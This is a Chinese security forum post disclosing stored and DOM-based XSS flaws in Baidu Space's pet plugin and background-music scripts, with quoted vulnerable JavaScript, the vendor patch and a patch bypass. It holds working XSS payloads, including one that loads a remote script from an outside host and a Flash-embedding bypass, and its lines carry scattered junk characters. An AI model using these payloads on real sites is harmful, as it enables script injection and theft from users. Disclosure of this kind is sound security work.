找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1978|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
* k* p/ C  U9 T9 F1 ~
3 M3 R# c* L2 z0 F0 G1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  0 B* _4 q2 ?3 ^$ e% M& @
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  ' x) @/ E* [1 ]# \

' B' `2 l2 e/ c, V4 `4 T5 J将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  & P5 n& g& D2 O& |& T3 p% z
其中BdUtil.insertWBR为  
' y4 [5 _% Z: Q5 x& Dfunction(text, step) {  
8 i8 _+ Y# O" S$ x7 }8 `6 j    var textarea = textAreaCache || getContainer();  
5 U# \/ v* A7 g+ U    if (!textarea) {  
& I# J$ z% ~3 k        return text;  
, U' ^9 t  [( x! r2 N    }  
9 n' t# |9 h' m& Z, D3 b3 l    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  $ G; v9 k. h, X( U2 F
    var string = textarea.value;  + ~/ w6 z) h3 c
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
- d% P1 [- B  \+ x$ m5 p    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
' H4 I4 V# z, I) Q) g" ?    return result;  
9 w7 ?( N9 u9 m) s) S8 F}  ) Y* N' g3 i% E, \
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  # o/ t; T: ?; ~7 O$ {+ d
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
4 h' ~# x! l8 T2 w" r/ f, ?; z   3 A: c- ?7 F9 _; C$ J
二:creatbgmusic() Dom-Xss Bug  
6 s0 L: \; F: J百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
; j' z" q# q5 K: g" D# B/ u3 \, f: f& [; V' q
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
4 U; n3 l6 B+ j1 X; `2 I. H2 Q) ]
" g2 {( w9 g* D, ofunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
2 K& a( x$ F$ R$ b    //传入的murl赋值到bgmusic1和bgmusic2中  
1 F' x' L' E" T( h- x, P+ P) @    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  5 v3 r8 t% y, u% v; P2 }: o
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  " H, J2 K9 m8 ^- {
    if (musicnum <= 1) {  
- `. |. E( A  w        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
3 R9 ^8 F7 O/ p+ O5 m8 f1 y    }  
" p9 A  x* A2 w! Z: ]    bgmusic1 += "</OBJECT>";  ' A) t; U4 G' G0 c
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
2 M- j9 G% e* ~& Q$ _    if (musicnum <= 1) {  0 E# R! r9 G5 {1 o) t. |  q
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
' L+ {. y8 M# t7 j. r5 G    }  9 S8 a2 u9 \0 w: v
    bgmusic2 += "> </EMBED>";  : V  \: s9 a* n+ K
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  # u4 v: z$ u% ]9 Y) [2 v7 ?3 z
    var bgmus = detectWMP();  
2 L9 E% N- ~4 h# W4 j5 W    if (functype == "FckMusicHelper") {  
3 Z. B0 |- c! _5 @0 j        if (bgmus.installed) {  
$ S% v3 ^  }0 z3 [! _$ Z1 Z            if (bgmus.type == "IE") {  , K* S% d! s# y+ A) \
                return bgmusic1;  / [" a8 a: f4 F0 y( Z! S+ e
            } else if (bgmus.type == "NS") {  % p) z" q7 {& Y, Y9 w. m
                return bgmusic2;  4 O  X8 A. d& I2 S; i  z
            }  3 Z* N! \+ y" `( U- p
        } else {  
  u8 S0 Y; H* s/ Q5 H4 I7 _            return bgmusic3;  
8 I* C$ N' ?8 H        }  
$ b+ i* P% q/ d3 @3 n    } else {  " Y8 ^5 }# E! R: Q
        if (bgmus.installed) {  
0 _) G  g7 t9 a! x8 b            //document.write 直接输出bgmusic变量 导致xss  
& ]" T5 r' s- k. i            if (bgmus.type == "IE") {  
+ r. e0 V9 W0 T* x                document.write(bgmusic1);  
7 \" Y& y3 m, K4 V- g            } else if (bgmus.type == "NS") {  1 \8 W1 t6 y6 ?3 J; T7 B9 L6 B
                document.write(bgmusic2);  & g8 J0 F! I5 r" A+ n6 ]
            }  
" Q+ |' L$ O! t* u/ d        } else {  5 a% Q5 C" T7 Y' |/ G9 m
            document.write(bgmusic3);  $ S1 D, Y2 `/ J& Z2 h
        }  
! E# h( f. n1 ~; N        return "";  
2 G- U! R4 B# M- }4 M    }  
) L) ^- d0 n; o' u" p; g" H}  
' q9 b6 E# e( [3 F* m( d, g7 E. f+ W8 g  O' ?
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  ! i( ]8 }3 b" g7 }4 @2 F, D& D

" V) |6 s" K) p4 M6 S9 q5 Zfunction initBlogTextForFCK(){  
- v9 A% d5 B2 ?' j2 r' H//fck init music  ; Z4 h. K+ \% a$ G6 o: ^; l
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  ! G" i& m4 o/ R7 z
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  ! [8 y  \: l3 C/ s& V
var isAutoPlay=true;  
( a/ w  @; t0 }+ gfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  3 J) _) e1 {0 r( H- v4 F6 t
  var img=imgBox;  + R+ l+ Q: ^: |) l, M( u, N
  if(img.getAttribute(’rel’)){        
: C* u  r- ^3 ]( D; R/ B9 b. t. M   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
- c% t: L0 i1 C9 @   var musicDiv = document.createElement("SPAN");  
7 Y9 j; m% x* D+ T  e% r# x   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
; S* s/ Q: I! C/ M: g" n     
% U; A4 \) ~7 s4 S, B      ..........................  
. m( Q0 }; V$ e4 X" m- N     
8 c, g" ]# T# Q- f   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   5 Y1 R/ k: U  [( x" z9 Y
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  & ~  s" C6 k0 K! N- h+ L5 V9 @
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
7 S4 \3 M- m1 `' v+ @- D   musicDiv.innerHTML=shtml;  2 v3 Z. R4 a& k' ~5 @
   i--;n--;  
9 N8 K- P+ r7 w! ?  v4 `: d& n8 y  }  
# [" l: Q3 D. F3 R- d5 x2 {}  - ^& s, S& Z# O( g$ Y7 N" W

# i  V1 Z# ^0 [* ?3 P6 C; D从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  # X2 j+ L+ g( U5 I! O  ~' e; e
   . t7 R" x; y( M
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  $ O, y/ A% b9 u) d2 F! @  {, O

3 |  m  k- X: U4 ?等待官方补丁  
+ Y. h: l* p; _; ~( Z
- d  ^4 e7 x& @% G  A, i$ S6 }0 gupdate 2010年5月13日   
+ b  S& \9 q- W* d+ |6 }; B
! N+ _1 B6 k' q; C4 R, z8 W0 A官方补丁:  + R) i  l3 d' N7 I

, ?# T/ ]! E9 |, t) A$ jvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  . e* o/ }' Q% D% v9 D- Z
改为:  
4 r1 a! {" g. Y4 F' \# i( Vvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  . U- _: w% o' x0 l1 A% X1 ?3 P

/ s: z  c4 A+ Rupdate 2010年5月13日 21:50:37  
, N1 j5 J6 ^/ \' _4 k, E$ o4 L, Y
补丁存在漏洞 没有过滤" 可以继续跨:  
6 e+ T$ i+ ~" v5 `! U* e1 a) Y& E5 S  v9 Y" K
NEW POC:  % F8 f1 H' Z$ k* y
9 R; O  v5 V5 e  k/ d: S
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" $ x8 u# e8 F. m  A  w
( w) Z  W8 |& b" e/ Y" i3 {- R! Q# W
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>9 T" i0 ?8 m' L9 W9 n" `
& L+ [4 o' P+ q. d1 P6 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表